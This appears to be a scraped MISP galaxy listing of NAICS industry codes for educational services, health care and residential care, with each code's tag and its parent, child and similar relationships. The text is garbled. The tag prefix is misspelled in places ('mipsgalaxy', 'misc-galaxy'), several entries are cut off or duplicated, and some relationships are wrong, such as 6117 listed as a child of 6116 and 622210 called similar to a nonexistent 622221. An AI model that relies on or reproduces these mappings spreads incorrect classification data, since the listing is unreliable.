- parent-of: misp-galaxy:naics="611" with estimative-language:likelihood-probability="likely"

**611**

Educational Services

The tag is: misp-galaxy:naics="611"

View relationships graph

611 has relationships with:

- child-of: misp-galaxy:naics="61" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6111" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="6112" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="6113" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="6114" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="6115" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="6116" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="6117" with estimative-language:likelihood-probability="likely"

6111
Elementary and Secondary Schools

The tag is: misp-galaxy:naics="6111"

View relationships graph

6111 has relationships with:

• child-of: misp-galaxy:naics="611" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="61111" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="611110" with estimative-language:likelihood-probability="likely"

61111
Elementary and Secondary Schools

The tag is: misp-galaxy:naics="61111"

View relationships graph

61111 has relationships with:

• child-of: misp-galaxy:naics="611" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="611110" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="611110" with estimative-language:likelihood-probability="likely"

611110
Elementary and Secondary Schools

The tag is: misp-galaxy:naics="611110"

View relationships graph

611110 has relationships with:

• child-of: misp-galaxy:naics="611" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="61111" with estimative-language:likelihood-probability="likely"
6112
Junior Colleges
The tag is: misp-galaxy:naics="6112"

View relationships graph

6112 has relationships with:

- child-of: misp-galaxy:naics="611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="61121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="611210" with estimative-language:likelihood-probability="likely"

61121
Junior Colleges
The tag is: misp-galaxy:naics="61121"

View relationships graph

61121 has relationships with:

- child-of: misp-galaxy:naics="6112" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="611210" with estimative-language:likelihood-probability="likely"

611210
Junior Colleges
The tag is: misp-galaxy:naics="611210"

View relationships graph

611210 has relationships with:

- child-of: misp-galaxy:naics="6112" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="61121" with estimative-language:likelihood-probability="likely"

6113
Colleges, Universities, and Professional Schools
The tag is: misp-galaxy:naics="6113"

View relationships graph
6113 has relationships with:

- child-of: misp-galaxy:naics="611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="61131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="611310" with estimative-language:likelihood-probability="likely"

**61131**

Colleges, Universities, and Professional Schools

The tag is: *misp-galaxy:naics="61131"*

View relationships graph

61131 has relationships with:

- child-of: misp-galaxy:naics="6113" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="611310" with estimative-language:likelihood-probability="likely"

**611310**

Colleges, Universities, and Professional Schools

The tag is: *misp-galaxy:naics="611310"*

View relationships graph

611310 has relationships with:

- child-of: misp-galaxy:naics="6113" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="61131" with estimative-language:likelihood-probability="likely"

**6114**

Business Schools and Computer and Management Training

The tag is: *misp-galaxy:naics="6114"*

View relationships graph

6114 has relationships with:

- child-of: misp-galaxy:naics="611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="61141" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="611410" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="61142" with estimative-language:likelihood-probability="likely"
61141
Business and Secretarial Schools
The tag is: misp-galaxy:naics="61141"
View relationships graph
61141 has relationships with:
  • child-of: misp-galaxy:naics="6114" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="611410" with estimative-language:likelihood-probability="likely"

611410
Business and Secretarial Schools
The tag is: misp-galaxy:naics="611410"
View relationships graph
611410 has relationships with:
  • child-of: misp-galaxy:naics="6114" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="61141" with estimative-language:likelihood-probability="likely"

61142
Computer Training
The tag is: misp-galaxy:naics="61142"
View relationships graph
61142 has relationships with:
  • child-of: misp-galaxy:naics="6114" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="611420" with estimative-language:likelihood-probability="likely"

611420
Computer Training
The tag is: misp-galaxy:naics="611420"
611420 has relationships with:

- child-of: misp-galaxy:naics="6114" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="61142" with estimative-language:likelihood-probability="likely"

61143

Professional and Management Development Training

The tag is: misp-galaxy:naics="61143"

611430

Professional and Management Development Training

The tag is: misp-galaxy:naics="611430"

6115

Technical and Trade Schools

The tag is: misp-galaxy:naics="6115"
61151

Technical and Trade Schools

The tag is: misp-galaxy:naics="61151"

View relationships graph

61151 has relationships with:

• child-of: misp-galaxy:naics="6115" with estimative-language:likelihood-probability="likely"

611511

Cosmetology and Barber Schools

The tag is: misp-galaxy:naics="611511"

View relationships graph

611511 has relationships with:

• child-of: misp-galaxy:naics="6115" with estimative-language:likelihood-probability="likely"

611512

Flight Training

The tag is: misp-galaxy:naics="611512"

View relationships graph

611512 has relationships with:

• child-of: misp-galaxy:naics="6115" with estimative-language:likelihood-probability="likely"

611513

Apprenticeship Training

The tag is: misp-galaxy:naics="611513"

View relationships graph

611513 has relationships with:

• child-of: misp-galaxy:naics="6115" with estimative-language:likelihood-probability="likely"
611519
Other Technical and Trade Schools

The tag is: misp-galaxy:naics="611519"

View relationships graph

611519 has relationships with:

- child-of: misp-galaxy:naics="6115" with estimative-language:likelihood-probability="likely"

6116
Other Schools and Instruction

The tag is: misp-galaxy:naics="6116"

View relationships graph

6116 has relationships with:

- child-of: misp-galaxy:naics="611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="61161" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="611610" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="61162" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="61163" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="611630" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="611691" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="611699" with estimative-language:likelihood-probability="likely"

61161
Fine Arts Schools

The tag is: misp-galaxy:naics="61161"

View relationships graph

61161 has relationships with:

- child-of: misp-galaxy:naics="6116" with estimative-language:likelihood-probability="likely"
611610
Fine Arts Schools

The tag is: misp-galaxy:naics="611610"

View relationships graph

611610 has relationships with:

- child-of: misp-galaxy:naics="6116" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="61161" with estimative-language:likelihood-probability="likely"

61162
Sports and Recreation Instruction

The tag is: misp-galaxy:naics="61162"

View relationships graph

61162 has relationships with:

- child-of: misp-galaxy:naics="6116" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="611620" with estimative-language:likelihood-probability="likely"

611620
Sports and Recreation Instruction

The tag is: misp-galaxy:naics="611620"

View relationships graph

611620 has relationships with:

- child-of: misp-galaxy:naics="6116" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="61162" with estimative-language:likelihood-probability="likely"

61163
Language Schools

The tag is: misp-galaxy:naics="61163"

View relationships graph
61163 has relationships with:

- child-of: misp-galaxy:naics="6116" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="611630" with estimative-language:likelihood-probability="likely"

611630

Language Schools

The tag is: misp-galaxy:naics="611630"

View relationships graph

611630 has relationships with:

- child-of: misp-galaxy:naics="6116" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="61163" with estimative-language:likelihood-probability="likely"

61169

All Other Schools and Instruction

The tag is: misp-galaxy:naics="61169"

View relationships graph

61169 has relationships with:

- child-of: misp-galaxy:naics="6116" with estimative-language:likelihood-probability="likely"

611691

Exam Preparation and Tutoring

The tag is: misp-galaxy:naics="611691"

View relationships graph

611691 has relationships with:

- child-of: misp-galaxy:naics="6116" with estimative-language:likelihood-probability="likely"

611692

Automobile Driving Schools

The tag is: misp-galaxy:naics="611692"

View relationships graph
611692 has relationships with:

- child-of: misp-galaxy:naics="6116" with estimative-language:likelihood-probability="likely"

611692 has relationships with:

- child-of: misp-galaxy:naics="6116" with estimative-language:likelihood-probability="likely"

611699

All Other Miscellaneous Schools and Instruction

The tag is: misp-galaxy:naics="611699"

View relationships graph

611699 has relationships with:

- child-of: misp-galaxy:naics="6116" with estimative-language:likelihood-probability="likely"

6117

Educational Support Services

The tag is: misp-galaxy:naics="6117"

View relationships graph

6117 has relationships with:

- child-of: misp-galaxy:naics="6116" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="61171" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="611710" with estimative-language:likelihood-probability="likely"

61171

Educational Support Services

The tag is: misp-galaxy:naics="61171"

View relationships graph

61171 has relationships with:

- child-of: misp-galaxy:naics="6116" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="611710" with estimative-language:likelihood-probability="likely"

611710

Educational Support Services

The tag is: misp-galaxy:naics="611710"
611710 has relationships with:

- child-of: `misp-galaxy:naics="6117"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="61171"` with estimative-language:likelihood-probability="likely"

62

Health Care and Social Assistance

The tag is: `misp-galaxy:naics="62"`

62 has relationships with:

- parent-of: `misp-galaxy:naics="621"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="624"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="6211"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="6212"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="6213"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="6214"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="6215"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="6216"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="6219"` with estimative-language:likelihood-probability="likely"

621

Ambulatory Health Care Services

The tag is: `misp-galaxy:naics="621"`

621 has relationships with:

- child-of: `misp-galaxy:naics="62"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="6211"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="6212"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="6213"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="6214"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="6215"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="6216"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="6219"` with estimative-language:likelihood-probability="likely"
The tag is: `misp-galaxy:naics="6211"`

View relationships graph

6211 has relationships with:

- child-of: `misp-galaxy:naics="621"` with `estimative-language:likelihood-probability="likely"`
- parent-of: `misp-galaxy:naics="62111"` with `estimative-language:likelihood-probability="likely"`
- parent-of: `misp-galaxy:naics="621111"` with `estimative-language:likelihood-probability="likely"`
- parent-of: `misp-galaxy:naics="621112"` with `estimative-language:likelihood-probability="likely"`

62111

Offices of Physicians

The tag is: `misp-galaxy:naics="62111"`

View relationships graph

62111 has relationships with:

- child-of: `misp-galaxy:naics="6211"` with `estimative-language:likelihood-probability="likely"`

621111

Offices of Physicians (except Mental Health Specialists)

The tag is: `misp-galaxy:naics="621111"`

View relationships graph

621111 has relationships with:

- child-of: `misp-galaxy:naics="6211"` with `estimative-language:likelihood-probability="likely"`

621112

Offices of Physicians, Mental Health Specialists

The tag is: `misp-galaxy:naics="621112"`

View relationships graph

621112 has relationships with:

- child-of: `misp-galaxy:naics="6211"` with `estimative-language:likelihood-probability="likely"`
6212
Offices of Dentists
The tag is: *misp-galaxy:naics="6212"

View relationships graph

6212 has relationships with:

- child-of: *misp-galaxy:naics="621"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="62121"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="621210"* with estimative-language:likelihood-probability="likely"

62121
Offices of Dentists
The tag is: *misp-galaxy:naics="62121"

View relationships graph

62121 has relationships with:

- child-of: *misp-galaxy:naics="6212"* with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics="621210"* with estimative-language:likelihood-probability="likely"

621210
Offices of Dentists
The tag is: *misp-galaxy:naics="621210"

View relationships graph

621210 has relationships with:

- child-of: *misp-galaxy:naics="6212"* with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics="62121"* with estimative-language:likelihood-probability="likely"

6213
Offices of Other Health Practitioners
The tag is: *misp-galaxy:naics="6213"

View relationships graph
6213 has relationships with:

- child-of: misp-galaxy:naics="621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621310" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62132" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621320" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62133" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621330" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62134" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621340" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62139" with estimative-language:likelihood-probability="likely"

---

**62131**

Offices of Chiropractors

The tag is: *misp-galaxy:naics="62131"*

View relationships graph

62131 has relationships with:

- child-of: misp-galaxy:naics="621" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="621310" with estimative-language:likelihood-probability="likely"

---

**621310**

Offices of Chiropractors

The tag is: *misp-galaxy:naics="621310"*

View relationships graph

621310 has relationships with:

- child-of: misp-galaxy:naics="621" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62131" with estimative-language:likelihood-probability="likely"

---

**62132**

Offices of Optometrists
62132 has relationships with:

- child-of: misp-galaxy:naics="6213" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="621320" with estimative-language:likelihood-probability="likely"

### 621320

Offices of Optometrists

The tag is: misp-galaxy:naics="621320"

View relationships graph

621320 has relationships with:

- child-of: misp-galaxy:naics="6213" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62132" with estimative-language:likelihood-probability="likely"

### 62133

Offices of Mental Health Practitioners (except Physicians)

The tag is: misp-galaxy:naics="62133"

View relationships graph

62133 has relationships with:

- child-of: misp-galaxy:naics="6213" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="621330" with estimative-language:likelihood-probability="likely"

### 621330

Offices of Mental Health Practitioners (except Physicians)

The tag is: misp-galaxy:naics="621330"

View relationships graph

621330 has relationships with:

- child-of: misp-galaxy:naics="6213" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62133" with estimative-language:likelihood-probability="likely"
62134
Offices of Physical, Occupational and Speech Therapists, and Audiologists
The tag is: misp-galaxy:naics="62134"
View relationships graph

62134 has relationships with:
• child-of: misp-galaxy:naics="6213" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="621340" with estimative-language:likelihood-probability="likely"

621340
Offices of Physical, Occupational and Speech Therapists, and Audiologists
The tag is: misp-galaxy:naics="621340"
View relationships graph

621340 has relationships with:
• child-of: misp-galaxy:naics="6213" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="62134" with estimative-language:likelihood-probability="likely"

62139
Offices of All Other Health Practitioners
The tag is: misp-galaxy:naics="62139"
View relationships graph

62139 has relationships with:
• child-of: misp-galaxy:naics="6213" with estimative-language:likelihood-probability="likely"

621391
Offices of Podiatrists
The tag is: misp-galaxy:naics="621391"
View relationships graph

621391 has relationships with:
• child-of: misp-galaxy:naics="6213" with estimative-language:likelihood-probability="likely"
621399
Offices of All Other Miscellaneous Health Practitioners

The tag is: mipsgalaxy:naics="621399"

View relationships graph

621399 has relationships with:

• child-of: mipsgalaxy:naics="6213" with estimative-language:likelihood-probability="likely"

6214
Outpatient Care Centers

The tag is: mipsgalaxy:naics="6214"

View relationships graph

6214 has relationships with:

• child-of: mipsgalaxy:naics="621" with estimative-language:likelihood-probability="likely"
• parent-of: mipsgalaxy:naics="62141" with estimative-language:likelihood-probability="likely"
• parent-of: mipsgalaxy:naics="621410" with estimative-language:likelihood-probability="likely"
• parent-of: mipsgalaxy:naics="62142" with estimative-language:likelihood-probability="likely"
• parent-of: mipsgalaxy:naics="621420" with estimative-language:likelihood-probability="likely"
• parent-of: mipsgalaxy:naics="62149" with estimative-language:likelihood-probability="likely"
• parent-of: mipsgalaxy:naics="621491" with estimative-language:likelihood-probability="likely"
• parent-of: mipsgalaxy:naics="621492" with estimative-language:likelihood-probability="likely"
• parent-of: mipsgalaxy:naics="621493" with estimative-language:likelihood-probability="likely"
• parent-of: mipsgalaxy:naics="621498" with estimative-language:likelihood-probability="likely"

62141
Family Planning Centers

The tag is: mipsgalaxy:naics="62141"

View relationships graph

62141 has relationships with:

• child-of: mipsgalaxy:naics="6214" with estimative-language:likelihood-probability="likely"
• similar: mipsgalaxy:naics="621410" with estimative-language:likelihood-probability="likely"
621410
Family Planning Centers

The tag is: `misp-galaxy:naics="621410"`

View relationships graph

621410 has relationships with:

- child-of: `misp-galaxy:naics="6214"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="62141"` with estimative-language:likelihood-probability="likely"

62142
Outpatient Mental Health and Substance Abuse Centers

The tag is: `misp-galaxy:naics="62142"`

View relationships graph

62142 has relationships with:

- child-of: `misp-galaxy:naics="6214"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="621420"` with estimative-language:likelihood-probability="likely"

621420
Outpatient Mental Health and Substance Abuse Centers

The tag is: `misp-galaxy:naics="621420"`

View relationships graph

621420 has relationships with:

- child-of: `misp-galaxy:naics="6214"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="62142"` with estimative-language:likelihood-probability="likely"

62149
Other Outpatient Care Centers

The tag is: `misp-galaxy:naics="62149"`

View relationships graph

62149 has relationships with:
621491
HMO Medical Centers
The tag is: mipsgalaxy:naics="621491"
View relationships graph
621491 has relationships with:

• child-of: mipsgalaxy:naics="6214" with estimative-language:likelihood-probability="likely"

621492
Kidney Dialysis Centers
The tag is: mipsgalaxy:naics="621492"
View relationships graph
621492 has relationships with:

• child-of: mipsgalaxy:naics="6214" with estimative-language:likelihood-probability="likely"

621493
Freestanding Ambulatory Surgical and Emergency Centers
The tag is: mipsgalaxy:naics="621493"
View relationships graph
621493 has relationships with:

• child-of: mipsgalaxy:naics="6214" with estimative-language:likelihood-probability="likely"

621498
All Other Outpatient Care Centers
The tag is: mipsgalaxy:naics="621498"
View relationships graph
621498 has relationships with:

• child-of: mipsgalaxy:naics="6214" with estimative-language:likelihood-probability="likely"
6215
Medical and Diagnostic Laboratories
The tag is: *misp-galaxy:naics*="6215"

View relationships graph

6215 has relationships with:

- child-of: *misp-galaxy:naics*="621" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics*="62151" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics*="621511" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics*="621512" with estimative-language:likelihood-probability="likely"

62151
Medical and Diagnostic Laboratories
The tag is: *misp-galaxy:naics*="62151"

View relationships graph

62151 has relationships with:

- child-of: *misp-galaxy:naics*="621" with estimative-language:likelihood-probability="likely"

621511
Medical Laboratories
The tag is: *misp-galaxy:naics*="621511"

View relationships graph

621511 has relationships with:

- child-of: *misp-galaxy:naics*="621" with estimative-language:likelihood-probability="likely"

621512
Diagnostic Imaging Centers
The tag is: *misp-galaxy:naics*="621512"

View relationships graph

621512 has relationships with:
6216
Home Health Care Services
The tag is: misp-galaxy:naics="6216"
View relationships graph
6216 has relationships with:
- child-of: misp-galaxy:naics="621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62161" with estimative-language:likelihood-probability="likely"

62161
Home Health Care Services
The tag is: misp-galaxy:naics="62161"
View relationships graph
62161 has relationships with:
- child-of: misp-galaxy:naics="621" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="621610" with estimative-language:likelihood-probability="likely"

621610
Home Health Care Services
The tag is: misp-galaxy:naics="621610"
View relationships graph
621610 has relationships with:
- child-of: misp-galaxy:naics="621" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62161" with estimative-language:likelihood-probability="likely"

6219
Other Ambulatory Health Care Services
The tag is: misp-galaxy:naics="6219"
View relationships graph

6219 has relationships with:

- child-of: misp-galaxy:naics="621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62191" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62199" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621991" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621999" with estimative-language:likelihood-probability="likely"

62191

Ambulance Services

The tag is: misp-galaxy:naics="62191"

View relationships graph

62191 has relationships with:

- child-of: misp-galaxy:naics="621" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="621910" with estimative-language:likelihood-probability="likely"

621910

Ambulance Services

The tag is: misp-galaxy:naics="621910"

View relationships graph

621910 has relationships with:

- child-of: misp-galaxy:naics="621" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62191" with estimative-language:likelihood-probability="likely"

62199

All Other Ambulatory Health Care Services

The tag is: misp-galaxy:naics="62199"

View relationships graph

62199 has relationships with:
621991
Blood and Organ Banks
The tag is: `misp-galaxy:naics="621991"`
View relationships graph
621991 has relationships with:
- child-of: `misp-galaxy:naics="6219"` with estimative-language:likelihood-probability="likely"

621999
All Other Miscellaneous Ambulatory Health Care Services
The tag is: `misp-galaxy:naics="621999"`
View relationships graph
621999 has relationships with:
- child-of: `misp-galaxy:naics="6219"` with estimative-language:likelihood-probability="likely"

622
Hospitals
The tag is: `misp-galaxy:naics="622"`
View relationships graph
622 has relationships with:
- child-of: `misp-galaxy:naics="62"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="6223"` with estimative-language:likelihood-probability="likely"

6221
General Medical and Surgical Hospitals
The tag is: `misp-galaxy:naics="6221"`
View relationships graph
6221 has relationships with:

- child-of: misp-galaxy:naics="622" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="622110" with estimative-language:likelihood-probability="likely"

### 62211

General Medical and Surgical Hospitals

The tag is: `misp-galaxy:naics="62211"`

**View relationships graph**

62211 has relationships with:

- child-of: misp-galaxy:naics="6221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="622110" with estimative-language:likelihood-probability="likely"

### 622110

General Medical and Surgical Hospitals

The tag is: `misp-galaxy:naics="622110"`

**View relationships graph**

622110 has relationships with:

- child-of: misp-galaxy:naics="6221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62211" with estimative-language:likelihood-probability="likely"

### 6222

Psychiatric and Substance Abuse Hospitals

The tag is: `misp-galaxy:naics="6222"`

**View relationships graph**

6222 has relationships with:

- child-of: misp-galaxy:naics="622" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="622210" with estimative-language:likelihood-probability="likely"
62221
Psychiatric and Substance Abuse Hospitals
The tag is: misp-galaxy:naics="62221"
View relationships graph
62221 has relationships with:
  • child-of: misp-galaxy:naics="6222" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="622210" with estimative-language:likelihood-probability="likely"

622210
Psychiatric and Substance Abuse Hospitals
The tag is: misp-galaxy:naics="622210"
View relationships graph
622210 has relationships with:
  • child-of: misp-galaxy:naics="6222" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="622221" with estimative-language:likelihood-probability="likely"

6223
Specialty (except Psychiatric and Substance Abuse) Hospitals
The tag is: misp-galaxy:naics="6223"
View relationships graph
6223 has relationships with:
  • child-of: misp-galaxy:naics="622" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="62231" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="622310" with estimative-language:likelihood-probability="likely"

62231
Specialty (except Psychiatric and Substance Abuse) Hospitals
The tag is: misp-galaxy:naics="62231"
View relationships graph
62231 has relationships with:

- child-of: misp-galaxy:naics="6223" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="622310" with estimative-language:likelihood-probability="likely"

### 622310

Specialty (except Psychiatric and Substance Abuse) Hospitals

The tag is: `misp-galaxy:naics="622310"`

View relationships graph

### 623

Nursing and Residential Care Facilities

The tag is: `misp-galaxy:naics="623"`

View relationships graph

623 has relationships with:

- child-of: misp-galaxy:naics="62" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6231" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6232" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6233" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6239" with estimative-language:likelihood-probability="likely"

### 6231

Nursing Care Facilities (Skilled Nursing Facilities)

The tag is: `misp-galaxy:naics="6231"`

View relationships graph

6231 has relationships with:

- child-of: misp-galaxy:naics="623" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62311" with estimative-language:likelihood-probability="likely"
62311
Nursing Care Facilities (Skilled Nursing Facilities)

The tag is: misp-galaxy:naics="62311"

View relationships graph

62311 has relationships with:

- child-of: misp-galaxy:naics="6231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="623110" with estimative-language:likelihood-probability="likely"

623110
Nursing Care Facilities (Skilled Nursing Facilities)

The tag is: misp-galaxy:naics="623110"

View relationships graph

623110 has relationships with:

- child-of: misp-galaxy:naics="6231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62311" with estimative-language:likelihood-probability="likely"

6232
Residential Intellectual and Developmental Disability, Mental Health, and Substance Abuse Facilities

The tag is: misp-galaxy:naics="6232"

View relationships graph

6232 has relationships with:

- child-of: misp-galaxy:naics="623" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62321" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="623210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62322" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="623220" with estimative-language:likelihood-probability="likely"

62321
Residential Intellectual and Developmental Disability Facilities
The tag is: `misp-galaxy:naics="62321"`

View relationships graph

62321 has relationships with:

- child-of: `misp-galaxy:naics="6232"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="623210"` with estimative-language:likelihood-probability="likely"

### 623210
Residential Intellectual and Developmental Disability Facilities

The tag is: `misp-galaxy:naics="623210"`

View relationships graph

623210 has relationships with:

- child-of: `misp-galaxy:naics="6232"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="62321"` with estimative-language:likelihood-probability="likely"

### 62322
Residential Mental Health and Substance Abuse Facilities

The tag is: `misp-galaxy:naics="62322"`

View relationships graph

62322 has relationships with:

- child-of: `misp-galaxy:naics="6232"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="623220"` with estimative-language:likelihood-probability="likely"

### 623220
Residential Mental Health and Substance Abuse Facilities

The tag is: `misp-galaxy:naics="623220"`

View relationships graph

623220 has relationships with:

- child-of: `misp-galaxy:naics="6232"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="62322"` with estimative-language:likelihood-probability="likely"
6233
Continuing Care Retirement Communities and Assisted Living Facilities for the Elderly

The tag is: misc-galaxy:naics="6233"

View relationships graph

6233 has relationships with:

• child-of: misc-galaxy:naics="623" with estimative-language:likelihood-probability="likely"
• parent-of: misc-galaxy:naics="62331" with estimative-language:likelihood-probability="likely"
• parent-of: misc-galaxy:naics="623311" with estimative-language:likelihood-probability="likely"
• parent-of: misc-galaxy:naics="623312" with estimative-language:likelihood-probability="likely"

62331
Continuing Care Retirement Communities and Assisted Living Facilities for the Elderly

The tag is: misc-galaxy:naics="62331"

View relationships graph

62331 has relationships with:

• child-of: misc-galaxy:naics="6233" with estimative-language:likelihood-probability="likely"

623311
Continuing Care Retirement Communities

The tag is: misc-galaxy:naics="623311"

View relationships graph

623311 has relationships with:

• child-of: misc-galaxy:naics="6233" with estimative-language:likelihood-probability="likely"

623312
Assisted Living Facilities for the Elderly

The tag is: misc-galaxy:naics="623312"

View relationships graph

623312 has relationships with:
• child-of: misp-galaxy:naics="6233" with estimative-language:likelihood-probability="likely"

6239

Other Residential Care Facilities

The tag is: misp-galaxy:naics="6239"

View relationships graph

6239 has relationships with:

• child-of: misp-galaxy:naics="623" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="62399" with estimative-language:likelihood-probability="likely"
